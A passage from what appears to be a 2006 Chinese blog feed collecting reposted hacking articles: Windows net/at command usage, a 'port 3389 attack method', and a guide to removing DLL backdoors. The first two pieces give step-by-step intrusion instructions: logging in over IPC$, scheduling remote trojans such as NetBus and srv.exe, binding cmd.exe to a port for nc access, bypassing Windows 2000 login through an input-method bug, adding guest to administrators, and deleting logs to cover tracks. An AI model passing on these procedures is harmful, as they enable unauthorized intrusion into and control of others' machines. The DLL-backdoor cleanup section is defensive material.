</p><p>　　这个命令的语法是: <br />　　 NET VIEW [\\computername | /DOMAIN[:domainname]] <br />　　 NET VIEW /NETWORK:NW [\\computername] </p><p>　　NET VIEW 用于显示一个<font color="#002c99">计算机</font>上共享资源的列表。当不带选项使用本命令时，它就会显示当前域或网络上的<font color="#002c99">计算机</font>上的列表。 </p><p>　　<font color="#002c99">\\computername</font> 指用户希望浏览其共享资源的<font color="#002c99">计算机</font>。 </p><p>　　/DOMAIN:domainname 指定用户希望浏览有效的<font color="#002c99">计算机</font>所在的域。如果省略了域名，就会显示局域网络上的所有域。 </p><p>　　/NETWORK:NW 显示 NetWare 网络上所有可用的<font color="#002c99">服务</font>器。如果指定了一个<font color="#002c99">计算机</font>名，就会显示NetWare 网络中那个<font color="#002c99">计算机</font>上的可用资源。 </p><p>至于举例嘛，比如你知道一个远程<font color="#002c99">计算机</font>***.***.**.***上有开资源共享，那么运行net view \\***.***.**.*** 就可以了 </p><p>　　b.net use </p><p>　　这个命令的语法是:NET USE [devicename | *] [\\computername\sharename[\volume] [password | *]] <br />[/USER:[domainname\]username] <br />[[/DELETE] | [/PERSISTENT:{YES | NO}]] </p><p>NET USE [devicename | *] [password | *]] [/HOME] </p><p>NET USE [/PERSISTENT:{YES | NO}] </p><p>　　NET USE 用于将<font color="#002c99">计算机</font>与共享的资源相连接，或者切断<font color="#002c99">计算机</font>与共享资源的连接。当不带选项使用本命令时，它会列出<font color="#002c99">计算机</font>的连接。 </p><p>　　devicename 指定一个名字以便与资源相连接，或者指定要切断的设备。有两种类型的设备名：磁盘驱动器 (D: 至 Z:) 和打印机 (LPT1: 至 LPT3:)。输入一个星号来代替一个指定的设备名可以分配下一个可用设备名。 </p><p>　　<font color="#002c99">\\computername</font> 指控制共享资源的<font color="#002c99">计算机</font>的名字。如果<font color="#002c99">计算机</font>名中包含有空字符，就要将双反斜线 (\\) 和<font color="#002c99">计算机</font>名一起用引号 (" ")括起来。<font color="#002c99">计算机</font>名可以有1 到15 个 字符。 </p><p>　　\sharename 指共享资源的网络名字。 </p><p>　　\volume 指定一个<font color="#002c99">服务</font>器上的 NetWare 卷。用户必须安装 Netware 的客户<font color="#002c99">服务</font>(Windows NT 工作站) 或者 Netware 的网关<font color="#002c99">服务</font> (Windows NT <font color="#002c99">服务</font>器) 并使之与NetWare <font color="#002c99">服务</font>器相连。</p><p>password 指访问共享资源所需要的<font color="#002c99">密码</font>。 </p><p>　　* 进行<font color="#002c99">密码</font>提示。当在<font color="#002c99">密码</font>提示符下输入<font color="#002c99">密码</font>时，<font color="#002c99">密码</font>是不会显示的。 </p><p>　　/USER 指定连接时的一个不同的用户名。 </p><p>　　domainname 指定另外一个域。如果缺省域，就会使用当前登录的域。 </p><p>　　username 指定登录的用户名。 </p><p>　　/HOME 将用户与他们的宿主目录相连。 </p><p>　　/DELETE 取消一个网络连接，并且从永久连接列表中删除该连接。 </p><p>　　/PERSISTENT 控制对永久网络连接的使用。其缺省值是最近使用的设置。 </p><p>　　YES 在连接产生时保存它们，并在下次登录时恢复它们。 </p><p>　　NO 不保存正在产生的连接或后续的连接；现有的连接将在下次登录时被恢复。可以使用 /DELETE 选项开关来删除永久连接。 </p><p>　PS:前两天在绿色兵团的贴子里见到一位仁兄的话，与这个命令有异曲共工之妙，也说明一个大概： </p><p>　　在浏览器中输入 <font color="#002c99">$</font>"&gt;file:///\\***.***.**.***\c<font color="#002c99">$</font></p><p>　　则网上共享的C盘内容就会显示出来了，就仿佛用浏览器上FTP站点看到的一样。各位不妨试试，还可试试举一反三…… </p><p>　　5.at： 排定在特定的日期和时间运行某些命令和程序。 </p><p>　　运行 AT 命令之前必须先启动 Schedule <font color="#002c99">服务</font>。瞧，现炒就得现卖，刚学了net命令，但这个start命令我可没详述，自已看看帮助文件，摸索一下各种命令的用法吧。 </p><p>　　C:\&gt;net start schedule <br />　　 Schedule 正在启动<font color="#002c99">服务</font>..... <br />　　 Schedulw <font color="#002c99">服务</font>启动成功。 </p><p>　　AT [\\computername] [ [id] [/DELETE] | /DELETE [/YES]] <br />　　 AT [\\computername] time [/INTERACTIVE] <br />　　 [ /EVERY:date[,...] | /NEXT:date[,...]] "command" </p><p>　　<font color="#002c99">\\computername</font> 指定远程<font color="#002c99">计算机</font>。如果省略这个参数命令会被排定在本机上运行。 </p><p>　　id 指定给排定进度命令的识别号。 </p><p>　　/delete 删除某个已排定进度的命令。如果省略标识，<font color="#002c99">计算机</font>上所有已排定进度的命令都会被删除。</p><p>/yes 用于删除所有作业，且不想在运行删除时显示确认信息 。 </p><p>　　time 指定命令运行的时间。 <br />　　 interactive 允许作业在运行时，与用户通过桌面交互。 </p><p>　　/every:date[,...] 指定在每周或每月的某日 (或某几日) 运行命令。 <br />　　 如果省略日期，则默认为在每月的本日运行。 </p><p>　　/next:date[,...] 指定在下一个指定日期 (如，下周三)，运行命令。 <br />　　 如果省略日期，则默认为在每月的本日运行。 </p><p>　　"command" 准备运行的 Windows NT 命令或批处理文件。 </p><p>　　知道了如何使用AT，再来看看如何在远程NT上运行ntsrv.exe： </p><p>　　1 利用管理员登陆到目的<font color="#002c99">服务</font>器，方法为： net use <font color="#002c99">$</font>"&gt;\\x.x.x.x\ipc<font color="#002c99">$</font> "adminpwd" /user:"adminuser" <br />　　 2 利用ntsrv.exe启动远程: netsvc <font color="#002c99">\\x.x.x.x</font> schedule /start <br />　　 3 利用AT.EXE在远程<font color="#002c99">服务</font>器设置程序定时运行，当然最快运行最理想，所以，你可以用letmein.exe得到<font color="#002c99">服务</font>器的时间，然后： </p><p>　　at <font color="#002c99">\\x.x.x.x</font> 00:00 ntsrv.exe /port:64321 </p><p>　　其中00:00要改为用letmein.exe得回来的具体时间+一点容量，等一会后，再在本地启动netbus.exe，键入目的<font color="#002c99">服务</font>器得ip地址或hostname，连接！比如第一种方法，你想要在目的<font color="#002c99">服务</font>器运行诸如<font color="#002c99">病毒</font>之类的东东，可以利用netbus得上传功能，将各种“大补丸”上传至目的<font color="#002c99">服务</font>器，再用netbus的"Start program"，键入完整路径，就ok了！第二种方法是利用netbus的“App redirect”功能，启动远程telnet<font color="#002c99">服务</font>，如下：在netbus中击“App redirect”，键入"C:\&gt;winnt\system32\cmd.exe"，Port为：4321，<font color="#002c99">服务</font>就启动了，然后在本地运行：nc x.x.x.x 4321，出现dos启动的画面就表示连接成功： </p><p>Microsoft(R) Windows NT(TM) <br />(C) Copyright 1985-1996 Microsoft Corp. <br />C:\&gt; </p><p>4.netstat 这是一个观察网络连接状态的实用<font color="#002c99">工具</font>。 </p><p>　　它能检验IP的当前连接状态，在断定你的基本级通信正在进行后，就要验证系统上的<font color="#002c99">服务</font>。这个<font color="#002c99">服务</font>包括检查正在收听输入的通信量和/或验证你正在创建一个与远程站点的会话，它可以很轻松地做到这一点。网上也可以看到很多如X-netstat之类的<font color="#002c99">工具</font>，是WIN界面的，更加直观而已，并没有多什么功能，这个命令的具体用法如下： </p><p>Displays protocol statistics and current <font color="#002c99">TCP/IP</font> network connections.（显示<font color="#002c99">协议</font>与当前网络连接） </p><p>NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval] </p><p>-a Displays all connections and listening ports.（显示所有连接和监听端口） <br />-e Displays Ethernet statistics. This may be combined with the -s <br />option.（显示以太连接，可以与-s连用） <br />-n Displays addresses and port numbers in numerical form.（显示地址和端口） <br />-p proto Shows connections for the protocol specified by proto; proto <br />may be TCP or UDP. If used with the -s option to display <br />per-protocol statistics, proto may be TCP, UDP, or IP. <br />-r Displays the routing table. <br />-s Displays per-protocol statistics. By default, statistics are <br />shown for TCP, UDP and IP; the -p option may be used to specify <br />a subset of the default. <br />interval Redisplays selected statistics, pausing interval seconds <br />between each display. Press CTRL+C to stop redisplaying <br />statistics. If omitted, netstat will print the current <br />configuration information once.（interval是设定一个刷新时间，在间隔时间内暂停，按CTRL+C停止……） </p><p>　　这是我在本机未连接网络时运行的，第一列为<font color="#002c99">协议</font>，第二列为本地地址，第三列是与你进行连接的主机或用户的IP位址（IP后冒号之后的数字是端口号），最后一列是状态。这个命令以-n和-a的参数我较常使用，读者可以参考使用。（全文完）<br /></p><img src ="http://www.cppblog.com/cqyangjf/aggbug/14852.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/cqyangjf/" target="_blank">小丑</a> 2006-11-08 17:22 <a href="http://www.cppblog.com/cqyangjf/archive/2006/11/08/14852.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>3389端口攻击方法</title><link>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14850.html</link><dc:creator>小丑</dc:creator><author>小丑</author><pubDate>Wed, 08 Nov 2006 09:20:00 GMT</pubDate><guid>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14850.html</guid><wfw:comment>http://www.cppblog.com/cqyangjf/comments/14850.html</wfw:comment><comments>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14850.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/cqyangjf/comments/commentRss/14850.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/cqyangjf/services/trackbacks/14850.html</trackback:ping><description><![CDATA[
		<span class="style3">WIN2000中文简体版存在的输入法漏洞，可以使本地用户绕过身分验证机制进入系统内部。经实验，WIN2000中文简体版的终端服务，在远程操作时仍然存在这一漏洞，而且危害更大。WIN2000的终端服务功能，能使系统管理员对WIN2000进行远程操作，采用的是图形界面，能使用户在远程控制计算机时功能与在本地使用一样，其默认端口为3389，用户只要装了WIN2000的客户端连接管理器就能与开启了该服务的计算机相联。因此这一漏洞使终端服务成为WIN2000的合法木马。  <br />    工具：客户端连接管理器，下载地址http://minisql.51.net/rj/WIN.zip，端口扫描器一个，推荐使用：流光、网络刺客2、superscan。<br />入侵步骤：  <br />一，获得管理员账号。  <br />    我们先对一个网段进行扫描，扫描端口设为3389，运行客户端连接管理器，将扫描到的任一地址加入到，设置好客户端连接管理器，然后与服务器连结。几秒钟后，屏幕上显示出WIN2000登录 <br />界面（如果发现是英文或繁体中文版，放弃，另换一个地址），用CTRL+SHIFT快速切换输入法，切换至全拼，这时在登录界面左下角将出现输入法状态条（如果没有出现，请耐心等待，因为对方的 <br />数据流传输还有一个过程）。用右键点击状态条上的微软徽标，弹出“帮助”（如果发现“帮助”呈灰色，放弃，因为对方很可能发现并已经补上了这个漏洞），打开“帮助”一栏中“操作指南”，在最上面的任务栏点击右键，会弹出一个菜单，打开“跳至URL”。此时将出现WIN2000的系统安装路径和要求我们填入的路径的空白栏。比如，该系统安装在Ｃ盘上，就在空白栏中填入"c:\winnt\system32"。然后按“确定”，于是我们就成功地绕过了身份验证，进入了系统的SYSTEM32目录。现在我们要获得一个账号，成为系统的合法用户。在该目录下找到"net.exe"，为"net.exe"创建一个快捷方式，右键点击该快捷方式，在“属性”－&gt;“目标”－&gt;c:\winnt\system32\net.exe后面空一格，填入"user guest /active :yes"点“确定”。这一步骤目的在于用net.exe激活被禁止使用的guest账户，当然也可以利用"user 用户名　密码／add"，创建一个新账号，但容易引起网管怀疑。运行该快捷方式，此时你不会看到运行状态，但guest用户已被激活。然后又修改该快捷方式，填入"user guest 密码"，运行，于是guest便有了密码。最后，再次修改，填入“localgroup administrators guest /add，将guest变成系统管理员。<br /><br />注意事项：<br />１、在这过程中，如果对方管理员正在使用终端服务管理器，他将看到你所打开的进程id，你的ip和机器名，甚至能够给你发送消息。<br />２、终端服务器在验证你的身份的时候只留给了你一分钟的时间，在这一分钟内如果你不能完成上述操作，你只能再连结。<br />３、你所看到的图像与操作会有所延迟，这受网速的影响。  <br /><br />二，创建跳板。  <br />    终端用务器，以"guest"身份进入，此时guest已是系统管理员，已具备一切可执行权。打开“控制面板”，进入“网络和拔号连接”，在“本地连接”或“拔号连接”中查看属性，看对方是否选择“Microsoft 网络的文件和打印机共享”，如果没有，就打上勾。对方如果使用的是拔号上网，下次拔号网络共享才会打开。退出对方系统，在本地机命令提示符下，输入net use \\IP Address\IPC$ ["password"] /user:"guset"，通过IPC的远程登陆就成功了。登陆成功之后先复制一个Telnet的程序上去（小榕流光安装目录下的Tools目录里的Srv.exe,另外，还有ntml.xex，一会要用），这个程序是在对方上面开一个Telnet服务，端口是99。<br />copy c:\hack\srv.exe \\***.***.***.***\admin$Content$nbsp; <br />然后利用定时服务启动它，先了解对方的时间：<br />net time \\***.***.***.***  <br />显示：  <br />\\***.***.***.*** 的当前时间是 2001/1/8 下午 08:55  <br />命令成功完成。  <br />然后启动srv.exe:  <br />at \\***.***.***.*** 09:00 srv.exe　  <br />显示：  <br />新加了一项作业，其作业 ID = 0  <br />过几分钟后，telnet ***.***.***.*** 99  <br />这里不需要验证身份，直接登录，显示：  <br />c:\winnt:\system32&gt;  <br />我们就成功登陆上去了。然后又在本地打开命令提示符，另开一个窗口，输入：  <br />copy c:\hack\ntlm.exe \\211.21.193.202\admin$Content$nbsp; <br />把事先存放在hack目录里的ntlm.exe拷过去。然后又回到刚才的telnet窗口，运行ntlm.exe  <br />C:\WINNT\system32&gt;ntlm  <br />显示：  <br />Windows 2000 Telnet Dump, by Assassin, All Rights Reserved.  <br />Done!  <br />C:\WINNT\system32&gt;  <br />C:\WINNT\system32&gt;  <br />好，现在我们来启动WIN2000本身的telnet，首先终止srv.exe的telnet服务：  <br />net stop telnet　系统告诉你并没有启动telnet，不理它，继续：  <br />net start telnet　这次真的启动了telnet，我们可以在另开的命令提示符窗口telnet到对方的23端口，验证身份，输入我们的guest账号和密码，它就真正成为我们的跳板了。我们可以利用它到其它的主机去。<br /><br />三、扫除脚印：  <br />    删除为net.exe 创建的快捷方式，删除winnt\system32\logfiles下边的日志文件  <br /><br />补漏方法：  <br />1、打补丁  <br />2、删除输入法帮助文件  <br />3、停止终端服务。<img height="1" alt="" src="http://3800cc.com/news/w41/down_info.asp?id=2481" width="1" border="0" /></span>
		<br />
		<br />
		<p id="TBPingURL">Trackback: http://tb.donews.net/TrackBack.aspx?PostId=486139</p>
<img src ="http://www.cppblog.com/cqyangjf/aggbug/14850.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/cqyangjf/" target="_blank">小丑</a> 2006-11-08 17:20 <a href="http://www.cppblog.com/cqyangjf/archive/2006/11/08/14850.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>DLL后门清除完全篇</title><link>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14849.html</link><dc:creator>小丑</dc:creator><author>小丑</author><pubDate>Wed, 08 Nov 2006 09:18:00 GMT</pubDate><guid>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14849.html</guid><wfw:comment>http://www.cppblog.com/cqyangjf/comments/14849.html</wfw:comment><comments>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14849.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/cqyangjf/comments/commentRss/14849.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/cqyangjf/services/trackbacks/14849.html</trackback:ping><description><![CDATA[一，DLL的原理<br />1，动态链接程序库<br />动态链接程序库，全称：Dynamic Link Library，简称：DLL，作用在于为应用程序提供扩展功能。应用程序想要调用DLL文件，需要跟其进行“动态链接”；从编程的角度，应用程序需要知道DLL文件导出的API函数方可调用。由此可见，DLL文件本身并不可以运行，需要应用程序调用。正因为DLL文件运行时必须插入到应用程序的内存模块当中，这就说明了：DLL文件无法删除。这是由于Windows内部机制造成的：正在运行的程序不能关闭。所以，DLL后门由此而生！<br /><br />2，DLL后门原理及特点<br />把一个实现了后门功能的代码写成一个DLL文件，然后插入到一个EXE文件当中，使其可以执行，这样就不需要占用进程，也就没有相对应的PID号，也就可以在任务管理器中隐藏。DLL文件本身和EXE文件相差不大，但必须使用程序（EXE）调用才能执行DLL文件。DLL文件的执行，需要EXE文件加载，但EXE想要加载DLL文件，需要知道一个DLL文件的入口函数（既DLL文件的导出函数），所以，根据DLL文件的编写标准：EXE必须执行DLL文件中的DLLMain（）作为加载的条件（如同EXE的mian（））。做DLL后门基本分为两种：1）把所有功能都在DLL文件中实现；2）把DLL做成一个启动文件，在需要的时候启动一个普通的EXE后门。<br /><br />常见的编写方法：<br />(1)，只有一个DLL文件<br /><br />这类后门很简单，只把自己做成一个DLL文件，在注册表Run键值或其他可以被系统自动加载的地方，使用Rundll32.exe来自动启动。Rundll32.exe是什么？顾名思意，“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数，这样在进程当中，只会有Rundll32.exe，而不会有DLL后门的进程，这样，就实现了进程上的隐藏。如果看到系统中有多个Rundll32.exe，不必惊慌，这证明用Rundll32.exe启动了多少个的DLL文件。当然，这些Rundll32.exe执行的DLL文件是什么，我们都可以从系统自动加载的地方找到。<br /><br />现在，我来介绍一下Rundll32.exe这个文件，意思上边已经说过，功能就是以命令行的方式调用动态链接程序库。系统中还有一个Rundll.exe文件，他的意思是“执行16位的DLL文件”，这里要注意一下。在来看看Rundll32.exe使用的函数原型：<br />Void CALLBACK FunctionName (<br />HWND hwnd,<br />HINSTANCE hinst,<br />LPTSTR lpCmdLine,<br />Int nCmdShow<br />);<br /><br />其命令行下的使用方法为：Rundll32.exe DLLname,Functionname [Arguments]<br />DLLname为需要执行的DLL文件名；Functionname为前边需要执行的DLL文件的具体引出函数；[Arguments]为引出函数的具体参数。<br /><br />(2)，替换系统中的DLL文件<br />这类后门就比上边的先进了一些，它把实现了后门功能的代码做成一个和系统匹配的DLL文件，并把原来的DLL文件改名。遇到应用程序请求原来的DLL文件时， DLL后门就启一个转发的作用，把“参数”传递给原来的DLL文件；如果遇到特殊的请求时（比如客户端），DLL后门就开始，启动并运行了。对于这类后门，把所有操作都在DLL文件中实现最为安全，但需要的编程知识也非常多，也非常不容易编写。所以，这类后门一般都是把DLL文件做成一个“启动”文件，在遇到特殊的情况下（比如客户端的请求），就启动一个普通的EXE后门；在客户端结束连接之后，把EXE后门停止，然后DLL文件进入“休息”状态，在下次客户端连接之前，都不会启动。但随着微软的“数字签名”和“文件恢复”的功能出台，这种后门已经逐步衰落。<br /><br />提示：<br />在WINNT\system32目录下，有一个dllcache文件夹，里边存放着众多DLL文件（也包括一些重要的EXE文件），在DLL文件被非法修改之后，系统就从这里来恢复被修改的DLL文件。如果要修改某个DLL文件，首先应该把dllcache目录下的同名DLL文件删除或更名，否则系统会自动恢复。<br /><br />(3)，动态嵌入式<br />这才是DLL后门最常用的方法。其意义是将DLL文件嵌入到正在运行的系统进程当中。在Windows系统中，每个进程都有自己的私有内存空间，但还是有种种方法来进入其进程的私有内存空间，来实现动态嵌入式。由于系统的关键进程是不能终止的，所以这类后门非常隐蔽，查杀也非常困难。常见的动态嵌入式有：“挂接API”“全局钩子（HOOK）”“远程线程”等。<br /><br />远程线程技术指的是通过在一个进程中创建远程线程的方法来进入那个进程的内存地址空间。当EXE载体（或Rundll32.exe）在那个被插入的进程里创建了远程线程，并命令它执行某个DLL文件时，我们的DLL后门就挂上去执行了，这里不会产生新的进程，要想让DLL后门停止，只有让这个链接DLL后门的进程终止。但如果和某些系统的关键进程链接，那就不能终止了，如果你终止了系统进程，那Windows也随即被终止！！！<br /><br />3，DLL后门的启动特性<br /><br />启动DLL后门的载体EXE是不可缺少的，也是非常重要的，它被称为：Loader。如果没有Loader，那我们的DLL后门如何启动呢？因此，一个好的DLL后门会尽力保护自己的Loader不被查杀。Loader的方式有很多，可以是为我们的DLL后门而专门编写的一个EXE文件；也可以是系统自带的Rundll32.exe，即使停止了Rundll32.exe，DLL后门的主体还是存在的。3721网络实名就是一个例子，虽然它并不是“真正”的后门。<br /><br />二，DLL的清除<br />本节以三款比较有名的DLL后门例，分别为“SvchostDLL.dll”“BITS.dll”“QoServer.dll”。详细讲解其手工清除方法。希望大家在看过这三款DLL后门的清除方法之后，能够举一反三，灵活运用，在不惧怕DLL后门。其实，手工清除DLL后门还是比较简单的，无非就是在注册表中做文章。具体怎么做，请看下文。<br /><br />1，PortLess BackDoor<br />这是一款功能非常强大的DLL后门程序，除了可以获得Local System权限的Shell之外，还支持如“检测克隆帐户”“安装终端服务”等一系列功能（具体可以参见程序帮助），适用Windows2000/xp/2003等系统。程序使用svchost.exe来启动，平常不开端口，可以进行反向连接（最大的特点哦），对于有防火墙的主机来说，这个功能在好不过了。<br /><br />在介绍清除方法之前，我们先来简单的介绍一下svchost.exe这个系统的关键服务：<br />Svchost只是做为服务的宿主，本身并不实现什么功能，如果需要使用Svchost来启动服务，则某个服务是以DLL形式实现的，该DLL的载体Loader指向svchost，所以，在启动服务的时候由svchost调用该服务的DLL来实现启动的目的。使用svchost启动某个服务的DLL文件是由注册表中的参数来决定的，在需要启动服务的下边都有一个Parameters子键，其中的ServiceDll表明该服务由哪个DLL文件负责，并且这个DLL文件必须导出一个ServiceMain()函数，为处理服务任务提供支持。<br /><br />呵呵！看了上边的理论，是不是有点蒙（我都快睡着了），别着急，我们来看看具体的内容（如图1）。从图1中，我们可以看到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs下的Parameters子键，其键值为%SystemRoot%\system32\rpcss.dll。这就说明：启动RpcSs服务时。Svchost调用WINNT\system32目录下的rpcss.dll。<br /><br />在来看看图2，这是注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost，里边存放着Svchost启动的组和组内的各个服务，其中netsvcs组的服务最多。要使用Svchost启动某个服务，则该服务名就会出现在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost下。这里有四种方法来实现：<br />1， 添加一个新的组，在组里添加服务名<br />2， 在现有组里添加服务名<br />3， 直接使用现有组里的一个服务名，但是本机没有安装的服务<br />4， 修改现有组里的现有服务，把它的ServiceDll指向自己的DLL后门<br /><br />我测试的PortLess BackDoor使用的第三种方法。<br />好了，我想大家看完了上边的原理，一定可以想到我们清除PortLess BackDoor的方法了，对，就是在注册表的Svchost键下做文章。好，我们现在开始。<br /><br />注：由于本文只是介绍清除方法，使用方法在此略过。<br /><br />后门的Loader把SvchostDLL.dll插入Svchost进程当中，所以，我们先打开Windows优化大师中的Windows进程管理2.5，查看Svchost进程中的模块信息（如图3），从图3中我们可以看到，SvchostDLL.dll已经插入到Svchost进程中了，在根据“直接使用现有组里的一个服务名，但是本机没有安装的服务”的提示，我们可以断定，在“管理工具”—“服务”中会有一项新的服务。图4证明了我的说法，此服务名称为：IPRIP，由Svchost启动，-k netsvcs表示此服务包含在netsvcs服务组中。<br /><br />我们把该服务停掉，然后打开注册表编辑器（开始—运行--regedit），来到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\IPRIP下，查看其Parameters子键（如图5）。Program键的键值SvcHostDLL.exe为后门的Loader；ServiceDll的键值C:\WINNT\system32\svchostdll.dll为调用的DLL文件，这正是后门的DLL文件。现在我们删除IPRIP子键（或者用SC来删除），然后在来到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost下，编辑netsvcs服务组，把49 00 70 00 72 00 69 00 70 00 00 00删除，这里对应的就是IPRIP的服务名，具体如图6所示。然后退出，重启。重启之后删除WINNT\system32目录下的后门文件即可。<br /><br />2，BITS.dll<br />这是榕哥的作品，也是DLL后门，和SvchostDLL.dll原理基本一样，不过这里使用的是上边介绍的第四种方法，即“修改现有组里的现有服务，把它的ServiceDll指向自己的DLL后门”。换句话说，该后门修改现有的某一个服务，把其原有服务的DLL指向自己（也就是BITS.dll），这样就达到了自动加载的目的；其次，该后门没有自己的Loader，而是使用系统自带的Rundll32.exe来加载。我们还是用Windows 进程管理2.5来查看，从图7中，我们可以看到bits.dll已经插入到Svchost进程当中。<br /><br />好，现在我们来看看具体的清除方法，由于该后门是修改现有服务，而我们并不知道具体是修改了哪个服务，所以，在注册表中搜索bits.dll，最后在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto下搜索到了bits.dll，查看Parameters子键下的ServiceDll，其键值为C:\WINNT\system32\bits.dll（如图8）。原来，该后门把RasAuto服务原来的DLL文件替换为bits.dll了，这样来实现自动加载。知道了原因就好办了，现在我们把ServiceDll的键值修改为RasAuto服务原有的DLL文件，即%SystemRoot%\System32\rasauto.dll，退出，重启。之后删除WINNT\system32目录下的bits.dll即可。<br /><br />3，NOIR--QUEEN<br />NOIR--QUEEN(守护者)是一个DLL后门&amp;木马程序，服务端以DLL文件的形式插入到系统的Lsass.exe进程里，由于Lsass.exe是系统的关键进程，所以不能终止。在来介绍清除方法之前，我先介绍一下Lsass.exe进程：<br />这是一个本地的安全授权服务，并且它会为使用Winlogon服务的授权用户生成一个进程，如果授权是成功的，Lsass就会产生用户的进入令牌，令牌使用启动初始 的Shell。其他的由用户初始化的进程会继承这个令牌。<br />从上边的介绍我们就可以看出Lsass对系统的重要性，那具体怎么清除呢？请看下文。<br /><br />后门在安装成功后，会在服务中添加一个名为QoSserver的服务，并把QoSserver.dll后门文件插入到Lsass进程当中，使其可以隐藏进程并自动启动（如图9）。现在我们打开注册表，来到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\QoSserver，直接删除QoSserver键，然后重启。重启之后，我们在来到服务列表中，会看到QoSserver服务还在，但没有启动，类别是自动，我们把他修改为“已禁用”；然后往上看，会发现一个服务名为AppCPI的服务，其可执行程序指向QoSserver.exe（原因后边我会说到），具体如图11所示。我们再次打开注册表，来到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AppCPI，删除AppCPI键，重启，再删除QoSserver，最后删除WINNT\system32目录下的后门文件。<br /><br />本人和这个后门“搏斗”了3个多小时，重启N次。原因在于即使删除了QoSserver服务，后门还是在运行，而且服务列表中的QoSserver服务又“死灰复燃”。后来才知道原因：在我删除了QoSserver服务并重启之后，插入到Lsass进程当中的QoSserver.dll文件又恢复了QoSserver服务，并且生成了另外一个服务，即AppCPI，所以我们必须在到注册表中删除AppCPI服务才算是把该后门清除。由此可以看出，现在的后门的保护措施，真是一环扣环。<br /><br />注意：在删除QoSserver服务并重启之后，恢复的QoSserver的启动类别要修改为“已禁用”，否则即便删除了AppCPI服务，QoSserver服务又运行了。<br /><br />三，DLL的防范<br />看了上边的例子，我想大家对清除DLL后门的方法有了一定的了解，但在现实中，DLL后门并不会使用默认的文件名，所以你也就不能肯定是否中了DLL后门。对于DLL后门，system32目录下是个好地方，大多数后门也是如此，所以这里要非常注意。下面我来具体介绍一下怎么发现DLL后门，希望对大家有所帮助。<br /><br />1，安装好系统和所有的应用程序之后，备份system32目录下的EXE和DLL文件：打开CMD，来到WINNT\system32目录下，执行：dir *.exe&gt;exe.txt &amp; dir *.dll&gt;dll.txt，这样，就会把所有的EXE和DLL文件备份到exe.txt和dll.txt文件中；日后，如发现异常，可以使用相同的命令再次备份EXE和DLL文件(这里我们假设是exe0.txt和dll0.txt)，并使用：fc exe.txt exe0.txt&gt;exedll.txt &amp; fc dll.txt dll0.txt&gt;exedll.txt，其意思为使用FC命令比较两次的EXE文件和DLL文件，并将比较结果保存到exedll.txt文件中。通过这种方法，我们就可以发现多出来的EXE和DLL文件，并通过文件大小，创建时间来判断是否是DLL后门。<br /><br />2，使用内存/模块工具来查看进程调用的DLL文件，比如Windows优化大师中的Windows 进程管理 2.5。这样，可以发现进程到底调用了什么DLL文件，在结合上边用FC命令比较出来的结果，又能进一步来确定是否中了DLL后门。如果没有优化大师，可以使用TaskList，这个小工具也可以显示进程调用的DLL文件，而且还有源代码，方便修改。<br /><br />3，普通后门连接需要打开特定的端口，DLL后门也不例外，不管它怎么隐藏，连接的时候都需要打开端口。我们可以用netstat –an来查看所有TCP/UDP端口的连接，以发现非法连接。大家平时要对自己打开的端口心中有数，并对netstat –an中的state属性有所了解。当然，也可以使用Fport来显示端口对应的进程，这样，系统有什么不明的连接和端口，都可以尽收眼底。<br /><br />4，定期检查系统自动加载的地方，比如：注册表，Winstart.bat，Autoexec.bat，win.ini，system.ini，wininit.ini，Autorun.inf，Config.sys等。其次是对服务进行管理，对系统默认的服务要有所了解，在发现有问题的服务时，可以使用Windows 2000 Server Resource Kit中的SC来删除。以上这些地方都可以用来加载DLL后门的Loader，如果我们把DLL后门Loader删除了，试问？DLL后门还怎么运行？！<br /><br />通过使用上边的方法，我想大多数DLL后门都可以“现形”，如果我们平时多做一些备份，那对查找DLL后门会启到事半功倍的效果。<br /><br /><p id="TBPingURL">Trackback: http://tb.donews.net/TrackBack.aspx?PostId=480166</p><img src ="http://www.cppblog.com/cqyangjf/aggbug/14849.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/cqyangjf/" target="_blank">小丑</a> 2006-11-08 17:18 <a href="http://www.cppblog.com/cqyangjf/archive/2006/11/08/14849.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux常用基本命令及应用技巧大全</title><link>http://www.cppblog.com/cqyangjf/archive/2006/11/01/14467.html</link><dc:creator>小丑</dc:creator><author>小丑</author><pubDate>Wed, 01 Nov 2006 03:49:00 GMT</pubDate><guid>http://www.cppblog.com/cqyangjf/archive/2006/11/01/14467.html</guid><wfw:comment>http://www.cppblog.com/cqyangjf/comments/14467.html</wfw:comment><comments>http://www.cppblog.com/cqyangjf/archive/2006/11/01/14467.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/cqyangjf/comments/commentRss/14467.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/cqyangjf/services/trackbacks/14467.html</trackback:ping><description><![CDATA[
